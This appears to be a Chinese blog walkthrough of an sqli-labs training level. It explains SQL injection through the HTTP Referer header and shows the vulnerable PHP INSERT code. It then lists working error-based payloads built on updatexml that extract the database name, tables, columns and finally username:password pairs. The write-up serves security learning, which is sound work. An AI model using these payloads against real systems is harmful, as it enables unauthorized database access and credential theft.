1. 思路🚀
本關的SQL語句為：
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
- 注入類型：字符串型（單引號包裹）、INSERT操作
- 提示：參數需以
'閉合 - 關鍵參數：
uagent
php輸出語句的部分代碼：
if($row1)
{echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";mysql_query($insert);//echo 'Your IP ADDRESS is: ' .$IP;echo "</font>";//echo "<br>";echo '<font color= "#0000ff" font size = 3 >'; echo 'Your Referer is: ' .$uagent;echo "</font>";echo "<br>";print_r(mysql_error()); echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";
}
關卡的回顯語句是echo 'Your Referer is: ' .$uagent;，需通過正確的賬號密碼后才會回顯Referer信息，這是由源碼決定的，需要已知的賬號和密碼，暫且每次提交的賬號密碼都是admin，根據提示，insert配合報錯盲注。
2. 手工注入步驟🎯
使用Burpsuite的Repeater功能，接下來的操作，只需要將下面的Referer放入對應位置，粘貼即可。
2.1. 判斷回顯位?
正常提交賬號：admin，密碼：admin，抓取一下數據包，選中Repeater功能就行。
2.2. 獲取基本信息?
接下來配合updatexml函數實現報錯盲注
1' and updatexml(1,concat(1,(select database())),3) and'
2.3. 獲取表名?
1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) and'
2.4. 獲取字段?
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) and'
2.5. 獲取數據?
下面是獲取一個用戶的sql語句，修改limit偏移量可獲取其余用戶的賬號密碼信息。
1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) and'
2.6. 參數匯總表?
| 參數 | 作用 | 示例 |
|---|---|---|
' | 閉合符號 | id=1' |
updatexml() | 報錯注入函數 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函數 | concat('a','b') 或 concat(1,(select database())) |
information_schema | 系統數據庫 | from information_schema.tables |
table_schema | 數據庫名稱 | table_schema='security' |
table_name | 數據表名稱 | table_name='users' |
column_name | 字段名稱 | group_concat(column_name) |
3. 總結🏁
本關卡是在http請求中的Referer做文章，從而達到sql注入的效果，這在后面也是會經常遇到的，配合報錯盲注獲取數據。
關卡18的解析詳細，文章為"sqli-labs：Less-18關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149863254?spm=1011.2124.3001.6209
有關報錯盲注的解析，關卡5最為詳細，歡迎移步"sqli-labs：Less-5關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
聲明：本文僅用于安全學習，嚴禁非法測試！ ???
 部署Doris)
